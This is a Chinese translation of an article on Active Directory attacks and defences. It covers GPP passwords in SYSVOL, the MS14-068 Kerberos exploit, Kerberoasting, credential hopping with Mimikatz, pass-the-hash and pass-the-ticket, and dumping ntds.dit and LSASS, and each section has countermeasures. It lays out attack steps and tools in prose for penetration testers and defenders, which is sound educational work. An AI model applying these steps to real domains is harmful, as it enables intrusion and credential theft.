你可能会觉得已经发布的补丁能够防止用户凭证被放置在组策略配置文件中,所以这个问题得到了证明。事实证明,笔者在渗透测试中仍然能在SYSVOL目录中中找到用户凭证。
对策:
* 在每台电脑上都安装上KB2962486补丁,可以防止新的用户凭证被放到组策略配置文件当中。
* 删除SYSVOL目录中包含密码的GPP xml文件。
* 不要把密码放在所有认证用户都有权访问的文件当中。
关于这种攻击方法的更多信息可以参考这篇文章:[Finding Passwords in SYSVOL & Exploiting Group Policy
Preferences](https://adsecurity.org/?p=2288)
**0x02 针对没打补丁的域控利用MS14-068漏洞**
* * *
距离MS14-068的补丁KB3011780发布已经有超过一年时间了,也出现了很多方法来确保针对MS14-068的攻击被检测和识别出来。然而这并不意味着域控就一定打上了补丁或者配置了监测系统。很多公司机构在补丁发布后的一个月内打上了补丁;但是不能保证每台新上线的域控都在被配置好之前就打上了补丁。
感谢Gavin Milard(@gmillard on Twitter),我们有了以下的图,很好地解释这个漏洞。
简单来讲,通过MS14-048,攻击者可以在五分钟内重写有效的Kerberos TGT
认证票据并且成为域管理员(企业管理员)。攻击原理就像上面的机票一样,随便写上“飞行员”字样就能通过认证,登上飞机就能理所当然地坐到驾驶舱冒充飞行员享受咖啡福利。
第一个EXP在补丁发布后的两周后被公布,叫做PyKEK,作者是Sylvain Monné (@BiDOrD).
PyKEK是一个能在所有安装了python的机器(Raspberry
Pi?)上运行的脚本,只要机器能连接到一台没打补丁的域控就能发挥作用。它会生成一个ccache文件。用Mimikatz可以把这个生成的ccache文件注入到内存当中,攻击者就能成为域管理员!有了这个票据,就能被允许访问域控上面的admin$共享!
限制条件:打了补丁或者域中有Win2012/2012R2 域控
利用MS14-068的步骤:
1.作为普通用户向域控请求一个没有PAC的Kerberos TGT认证的票据,域控会返回一个TGT(不包含PAC,PAC通常包含有用户组中的成员关系)
2.生成一个伪造的PAC,因为没有密钥,所以生成的PAC“被标记”有MD5算法,而不是带有域用户密码数据的HMAC_MD5类型。
3.把伪造的PAC结合上TGT构造认证数据,作为TGS服务的一部分发送到域控。
4.域控会混淆构造的数据,所以直接丢弃之前用户发送没带有PAC的TGT,然后新构造一个TGT并用自己的认证数据插入到伪造的PAC当中,再把新TGT发送给用户
5.这样带有伪造PAC的TGT就能使用户成为有漏洞域控上的域管理员。
Benjamin Delpy(Mimikatz
的作者)写了一个MS14-068的利用工具,叫Kekeo,是PyKEK的升级版。它能够找到并定位有漏洞的域控,在打了补丁和有2012/2012R2域控的情况下仍能奏效。实现的步骤和PyKEK基本相同,不过在最后加了一个步骤,以此获得一个能在域中所有域控利用的TGT。它利用攻击生成的TGT来获取一个到处都能用的TGT。
对策:
确保机器在运行DCPromo命令(被提升为域控)前就安装上了KB3011780补丁。一个快速简单的方法是用PowerShell命令:get-hotfix
3011780
同时,为机器开启自动安装关键补丁的选项。
**0x03 Kerberos TGS 服务 Ticket离线破解(Kerberoast)**
* * *
Kerberoast
能够在不对目标系统发送任何数据的情况下用普通用户身份从活动目录中提取服务的账户凭证。人们总是设置弱口令,所以这种攻击往往能够得逞。这种攻击能够成功的原因是:大多数服务账户的密码都和域的密码最短长度限制一样长(通常是10个或12个字符),这意味着即使是采用暴力破解的方式,所花费的时间也不太可能超过密码过期时限。有的服务账户甚至还没有设置密码过期时限,所以同一个密码能够用个一年半载的也不足为奇。更好玩的是,大多数服务账户都有权限过大的问题,通常还是域管理员组的成员,有着对活动目录的全部权限(尽管有时候服务账户只需要修改某些特定对象的属性或者只需在特定服务上拥有管理权限)。
>
> 注意:这种攻击对Windows系统管理的目标服务不会成功,因为这类服务会在活动目录中映射成为一个有着128位长密码的账户,这么长的密码不可能在短时间内破解出来。
攻击的步骤包括为目标的服务账户的服务器主体名称(Service Principle Name—— SPN)请求一个Kerbero服务票据 (TGS)
。这里会采用一个有效的用户认证票据(TGT)来请求一个或几个运行在服务器上的目标服务票据。域控不会检测用户是否真正连接到了这些资源上(即使用户可能真的有权限访问)。域控会在活动目录中查找SPN并且用SPN关联的用户账户把票据进行加密,以此赋予用户访问服务的权限。请求的Kerbero服务票据的加密类型是
RC4_HMAC_MD5,
这意味着服务账户的NTLM密码哈希会被用来加密服务票据。所以Kerberoast能够通过尝试不同的NTLM哈希来解开kerberos票据,一旦票据被成功解开,它的密码也就到手了。
> 注意:获得服务票据不需要提权,同时也不会发送数据到目标机器。
Tim Medin 在 DerbyCon 2014 上作了相关的报告:“Attacking Microsoft Kerberos Kicking the
Guard Dog of Hades”
([幻灯片](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin%281%29.pdf)&[视频](https://www.youtube.com/watch?v=PUyhlN-E5MU&feature=youtu.be)),同时也发布了[Kerberoast
Python TGS cracker](https://github.com/nidem/kerberoast)。
对策:
1.对付这种攻击最有效的对策其实是保证服务账户的密码在25位以上。
2.托管服务账户(Managed Service Accounts)和用户组托管服务账户(Group Managed Service
Accounts)是能够确保账户密码足够长、足够复杂、并且定期更改。一些第三方的密码管理器也是管理服务账户的不错的解决方案。
关于这种攻击方法的更多信息可以参考这篇文章:[Cracking Kerberos TGS Tickets Using Kerberoast –
Exploiting Kerberos to Compromise the Active Directory
Domain](https://adsecurity.org/?p=2293)
**0x04 “瞒天过海”**
* * *
我把下面这一部分叫做“瞒天过海”,因为很难把这类攻击进行具体的归类。可以把它比作一种舞蹈。拿下一台机器,提权,导出凭证。然后用凭证跳到另外的机器上,提权,再拿下更多的凭证。
这种攻击在域中通常能很快见效,因为大多数活动目录管理员都是用一个账户登陆到一台机器上,并切会用到RunAs(使得管理员的凭证留在了本地机器上面)或者用RDP连接到一台服务器(凭证就能通过键盘记录器记录下来)。
第一步: 攻下一台机器,通过提权漏洞获取本地管理员权限。用Mimikatz或者其他类似的工具导出最近登陆过本机的用户凭证。
第二步: 用本地管理员的凭证尝试登陆到别的机器上。这常常很有效,因为本地管理员的账户密码曾经很难被配置正确(现在你可以用微软提供的
LAPS)。假如很多(甚至是所有)机器上都用着同样的账户密码,那么得到一组账户密码就相当于拥有了所有机器的管理员权限。你可以用凭证登陆到不同的机器上,直到找到域管理员的凭证。用本地账户登陆到不同机器是一种理想的做法,因为这样的登陆不需要连接到域控上面,也很少有公司机构把机器的安全日志都发送到日志中心系统(SIEM)。
第三步:利用获取的凭证登陆到服务器上以获得更多的凭证。运行着像Microsoft Exchange Client Access Servers(CAS),
Microsoft Exchange OWA, Microsoft SQL 和 Terminal
Services(RDP)这类服务的服务器,很可能在内存中存留大量用户的凭证(或者是一些有域管理员权限的服务)。
第四步:收网!
有了域管理员的凭证,就没什么能够阻止攻击者导出所有的域凭证,并在内网中维持权限。
如果有服务以域管理员的权限在所有的工作站或服务器上运行,只需要攻下一个台机器就相当与攻下了整个域活动目录。
通常来说,通过PowerShell来进行远程管理是一个很好的方法,因为PowerShell采用的是的是网络登陆(不会有凭证保存在远程机器的内存中)。这很好,微软也把RDP管理模式逐步移向这种模式。还有种方法能够用PowerShell连接到远程系统进行管理,并且能够通过CredSSP调用凭证。问题是CredSSP不够安全。
[Joe Bialek
在PowerShellMagazine.com中写道](http://www.powershellmagazine.com/2014/03/06/accidental-sabotage-beware-of-credssp/):
>
> 管理员用PowerShell远程管理时遇到一个很常见的问题就是“双跃点”问题。管理员用PowerShell远程连接到服务器A上面,并且尝试在从服务器A连接到服务器B。这种情况下第二次连接不会成功。
>
>
> 原因是:默认情况下,PowerShell远程认证的方式是“网络登陆”。网络登陆只需要向服务器证明你拥有登陆的凭证而不需要把凭证发送过去(详情见:[Kerberos](http://msdn.microsoft.com/en-> us/library/windows/desktop/aa378747%28v=vs.85%29.aspx)和[NTLM](http://msdn.microsoft.com/en-> us/library/windows/desktop/aa378749%28v=vs.85%29.aspx)认证)。既然远程服务器没有你登陆的凭证,那么当你进行一次双跃点登陆(从服务器A登陆到服务器B)的时候,结果当然会失败。
>
> 为了解决这个问题,PowerShell提供了CredSSP([Credential Security Support
> Provider](http://support.microsoft.com/kb/951608))选项。当选择了CredSSP模式,PowerShell不会进行“网络登陆”,而是进行“网络明文登陆”。网络明文登陆的工作原理是直接把用户的密码明文发送到远程服务器上。通过这种方式,服务器A获得了用户的明文密码,所以也能用它来登陆到服务器B,双跃点登陆成功。
>
> 更新:以上测试是在Windows Server 2012上面进行的。微软已经在Windows Server
> 2012R2和Windows8.1中限制了在内存中存放明文凭证。这意味着使用Mimikatz的攻击者们可能将不会直接看到有明文密码。不过攻击者仍能看到NT密码哈希和Kerberos
> TGT,这两者都能和密码产生同样的效果,可以被用于网络的登陆认证。
>
>
> 另外,即使明文凭证没有被存放在内存当中,它依然被发送到了远程服务器。攻击者能够向本地安全认证子系统服务(LSASS.exe)注入恶意代码并且在传输过程中截获明文密码。所以即使用Mimikatz找不到明文密码了,攻击者还是会有办法获得它。
综上所述,不要用CredSSP就对了。
还有一个类似的问题就是[WinRM(PowerShell远程操作用到的东西)的“AllowUnencrypted”配置](http://blogs.msdn.com/b/powershell/archive/2015/10/27/compromising-yourself-with-winrm-s-allowunencrypted-true.aspx)。把这个值设为“True”会禁用掉系统WinRM连接时的加密,包括PowerShell的远程操作时的密码加密。
**从哈希传递攻击(Pass-the-hash)到凭证传递攻击(Pass-the-Credential)**
大多数人都听说过哈希传递攻击(PtH),它通过找到账户相关的密码哈希(通常是NTLM密码哈希)来进行攻击。有趣的是有了PtH,就不必费时间破解密码的哈希值来获得密码明文了,因为在Windows网络中,哈希值就是用来证明身份的(知道了用户名和密码哈希值就能够通过验证)。微软自家的产品和攻击显然不会支持这种攻击,所以我们需要第三方工具来完成任务,例如:Mimikatz。
一旦攻击者找到了密码哈希,很多大门都会向他们打开,但是他们可不只有PtH这一种选择。
票据传递攻击(Pass-the-Ticket——PtT)是通过抓取现有的Kerberos票据来冒充一个用户。Mimikatz能够抓取当前用户的Kerberos票据,也能抓取每一个通过系统认证的用户的所有票据(如果配置了Kerberos委派机制的不受限访问,这可成了大问题)。一旦获得了Kerberos票据,攻击者就能用Mimikatz来传递它并访问到目标资源(当然是在Kerberos票据的有效时间内)。
超-哈希传递攻击(OverPass-the-Hash)也就是秘钥传递攻击,通过获得的密码哈希来获得Kerberos票据。这种技巧会清除当前用户的所有Kerberos秘钥(哈希值)然后把得到的哈希值注入到内存当中,以此请求获得Kerberos票据。下次访问资源需要用到Kerberos票据的时候,被注入的哈希值(现在是内存中的Kerberos秘钥)会被用来请求Kerberos票据。Mimikatz提供了实现这种攻击的功能,相比起PtH,这是更加隐秘的一种手段,因为现在已经有好几种方法能够检测到PtH。
> 注意: 如果获得哈希值的类型是NTLM,Kerberos票据的类型是RC4.如果哈希类型是AES,Kerberos票据类型也会是ABS。
其实还有其他种类的盗取凭证的手段,不过这几种是最常见的:
* 哈希传递攻击:抓取哈希值并用来访问资源。直到用户改密码哈希值都是有效的。
* 票据传递攻击:抓取Kerberos票据用来访问资源。在票据有效期限内票据都会有效(一般是7天)。
* 超-哈希传递攻击:用密码哈希值来获得Kerberos票据。哈希值在用户改密码之前都有效。
对策:
* [管理员应该为管理事务划分出专门的管理员机器](https://technet.microsoft.com/en-us/library/mt634654.aspx)。管理员的账户永远不要登陆到用来收发邮件和上网的普通机器上。这样就能降低凭证被盗取的机会。 需要注意的是智能卡不能够防止凭证被盗取,因为在访问资源的时候仍会用到账户所对应的密码哈希值。智能卡只能保证正在登陆的用户拥有智能卡,一旦被用来登陆系统,智能卡的两个验证因素就会变为一个,就是用户的密码哈希值(被存放在内存里)。还有就是,当账户设置为用智能卡登陆的时候,系统会为账户设置一个新的密码(还永远不会改变)。
* 在工作机和服务器上的所有本地管理员账户都应该足够长,足够复杂,足够随机,可以用微软 LAPS之类的产品来保证这点
* 配置组策略来放置本地管理员账户通过网络来认证登陆。下面几条简单的GPO就能阻止本地账户在通过网络登陆(包括RDP),同时也能阻止域管理员和企业管理员登陆到本地。GPO有一些几条: *禁止以下用户组从网络登陆到这台电脑:本地账户,企业管理员,域管理员 *禁止以下用户组从远程桌面登陆:本地账户,企业管理员,域管理员 *禁止以下用户组本地登陆:企业管理员,域管理员
**获取访问活动目录数据库文件的权限(ntds.dit)**
活动目录数据库(ntds.dit)包含了活动目录域中所有对象的所有信息。这个数据库中的数据会被复制到域中的所有域控。这个文件照样包含了所有域用户和计算机账户的密码哈希值。只有能登陆到域控上的用户才能访问到ntds.dit文件。
显然,保护好这个文件是很重要滴,因为攻击者访问它就能导致整个域和目录林(forest)被攻陷。
下面列出了几种不用成为域管理员就能获取ntds.dit数据的方法:
备份路径(备份服务器储存,媒体,网络共享)
攻击者访问到域控的备份并在备份共享的ntds.dit文件安放后门。管理员应该确保所有能通过网络访问的保存域备份的目录都是安全的。只有域管理员可以访问它们,只要有其他人能访问,那个人就能摇身一变成为域管理员。
在准备配置成域控的服务器上找NTDS.dit文件
DCPromo
中会有一个叫IFA的步骤,也就是“从媒体安装”,这个步骤可以使服务器不通过网络来复制域中的数据。这个IFA集是NTDS.dit的拷贝,它可能出现在为新域控准备的共享目录中,也可能在还没配置成域控的服务器上找到,这样的服务器就是不安全的。
有虚拟机的管理权限,就能克隆虚拟的域控并离线获取数据
获得虚拟域控的访问权并获取域中的凭证。你有用VMWare吗?VCenter的管理员是拥有全部权限的。有了VCenter的管理员权限,就能克隆域控直接把数据拷贝到本地。
在VM被挂起的情况下,还可以从虚拟机内存直接提取LSASS数据。不要小看虚拟机管理员在虚拟域控上所拥有的能力。
如果你的VCenter管理员组在活动目录里,你应该考虑改掉它。
对合适的用户组赋予恰当的权限,不要给攻击者提供通过服务器管理员权限给整个活动目录安装后门的能力。
你的虚拟机管理员应该被视作是与管理员(如果有虚拟域控的话)
获取一个有权登陆域控的账户
在活动目录中有几个组不应该有登陆域控的默认权限。
以下是默认有权登陆域控的用户组:
* Enterprise Admins (目录林管理员组)
* Domain Admins(域管理员组)
* Administrators
* Backup Operators
* Account Operators
* Print Operators
这意味着如果一个攻击者能够拿下Account Operators或者Print
Operators中的一个账户,整个活动目录就可能被攻陷,因为这些用户组有登陆到域控的权限。
对策:
* 限制用户组/账户登陆到域控的权限
* 避免用户组/账户拥有对活动目录的全部权限,尤其是服务账户
* 保护好每一个活动目录数据库(ntds.dit)的拷贝,不要把它放在信任级别低于域控的任何地方。
那么问题来了,如果一个账户被赋予登陆域控的权限,接下来会发生什么?
[ 如果一个账户有权登陆域控,二话不说当然是把域控的用户凭证拖下来。](https://adsecurity.org/?p=2398)
用Mimitaz导出域中所有凭证
神器Mimikatz能够从域控中到存储域中的所有用户凭证。
用Mimitaz导出LSASS内存信息(获得域管理员凭证)
Mimikatz能够在不同系统中的LSASS.dmp中导出LSASS然后提取出登陆过的用户凭证。在域控上,这样总能拿到域管理员的凭证。
用任务管理器来导出LSASS内存信息(获得域管理员凭证)
一旦LSASS被导出来,Mimikatz就能提取到登陆过的用户凭证。在域控上,这也总能拿到域管理员的凭证。
用NTDSUtil创建媒体安装集(IFM) (抓取NTDS.dit文件)
NTDSUtil一个本地运行的针对活动目录数据库(ntds.dit)的命令,同时允许为DCPromo命令准备IFM集。IFM是用于DCPromo命令中“从媒体安装”的步骤的,有了它配置域控时就不需要通过网络从其他域控拷贝数据。IFM集同时也会在c:temp目录下生成的一份NTDS.dit拷贝。
此文件可能出现在为新域控准备的共享目录中,也可能在还没配置成域控的服务器上找到,这样的服务器就是不安全的。
从NTDS.dit文件中提取活动目录域凭证(注册表系统单元)
一旦攻击者有了一份NTDS.dit文件的拷贝(还有指定的注册表键值来解密数据库文件中的加密部分),在活动目录数据库文件中的凭证数据就能被提取出来。
一旦攻击者有了注册表系统单一和NTDS.dit 文件,他就能获取所有的活动目录凭证!下面的截图来自安装有Impacket
python工具的Kali系统。DIT通过Impacket中的secrectdump.py脚本被导出。
在2015年十月,[DSInternals.com发布了一个用于从NTDS.dit导出用户凭证(注册表系统单元)的PowerShell方法](https://www.dsinternals.com/en/dumping-ntds-dit-files-using-powershell/),叫做Get-ADDBAcount(尽管只能用于Windows 8和Windows
2012系统以上,因为早前的系统有bug)。
一但攻击者导出了域数据库,就有[很多选择来维持保留高级权限](https://adsecurity.org/?p=1929),包括[创建并使用Golden
Tickets](https://adsecurity.org/?p=1640),这种方法能在拿下一个域的情况下对整个目录林(forest)进行攻击。
参考链接:
* [Sean Metcalf’s Presentations on Active Directory Security](https://adsecurity.org/?page_id=1352)
* [Mimikatz Guide and Command Reference](https://adsecurity.org/?page_id=1821)
* [The Most Common Active Directory Security Issues and What You Can Do to Fix Them](https://adsecurity.org/?p=1684)
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
* [MS14-068 Vulnerability, Exploitation, and Exploit Detection](https://adsecurity.org/?tag=ms14068)
* [Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain.](https://adsecurity.org/?p=2293)
* [How Attackers Dump Active Directory Database Credentials](https://adsecurity.org/?p=2398)
* [Using Group Policy Preferences for Password Management = Bad Idea](http://adsecurity.org/?p=384)
* [Sneaky Active Directory Persistence Tricks](https://adsecurity.org/?p=1929)
* [Golden Tickets which can be used to exploit the entire forest based on the compromise of a single domain](https://adsecurity.org/?p=1640)
* PowerShell函数[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
* [Group Policy Preferences Password Vulnerability Now Patched](https://adsecurity.org/?p=63)
* [Microsoft Local Administrator Password Solution (LAPS)](https://adsecurity.org/?p=1790)
* Tim Medin’s DerbyCon “Attacking Microsoft Kerberos Kicking the Guard Dog of Hades” presentation in 2014([slides](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin%281%29.pdf)&[video](https://www.youtube.com/watch?v=PUyhlN-E5MU&feature=youtu.be))where he released the []Kerberoast Python TGS cracker](https://github.com/nidem/kerberoast).
**0x05 译后记**
* * *
drops和zone上已经有很多域渗透相关的资料了,尤其是[三好学生](http://drops.wooyun.org/author/%E4%B8%89%E5%A5%BD%E5%AD%A6%E7%94%9F)发表的一系列文章,在实战中具有很好的参考意义。翻译的这篇文章里面大多数方法的详细利用步骤都能在drops上找到,文章的意义在于给刚进入内网的同学提供思路和方向。
至于工具方面个人也有一些体会,首先Mimikatz是域渗透中必不可少的神器,[就像猪猪侠说的:](http://zone.wooyun.org/content/23396)
> 撸域控,就是先搞定域里面的任何一台机器,想办法弄到SYSTEM权限,mimikataz一上,就收工了。
> 域渗透,mimikataz出来后,几乎没有新思路了。
其实思路还是有的,就像上面就提供了不少出了Mimikatz之外的思路。一个新趋势就是域渗透逐渐在往PowerShell上做文章,攻防两方都在PowerShell研究出了不少新方法。工具方面一个是[PowerTools](https://github.com/PowerShellEmpire/PowerTools/),集合了很多神奇好用的PowerShell脚本,包括提权,维持权限,还有一些SMB相关的攻击应用等。另一个就是[Empire](http://www.powershellempire.com/),可谓是PowerShell在后渗透阶段的集大成者。
最后不能不提的当然是以上两个工具作者[harmj0y的博客](http://www.harmj0y.net/blog/),上面经常会发布很多域渗透相关的猥琐思路。 | 社区文章 |
Subsets and Splits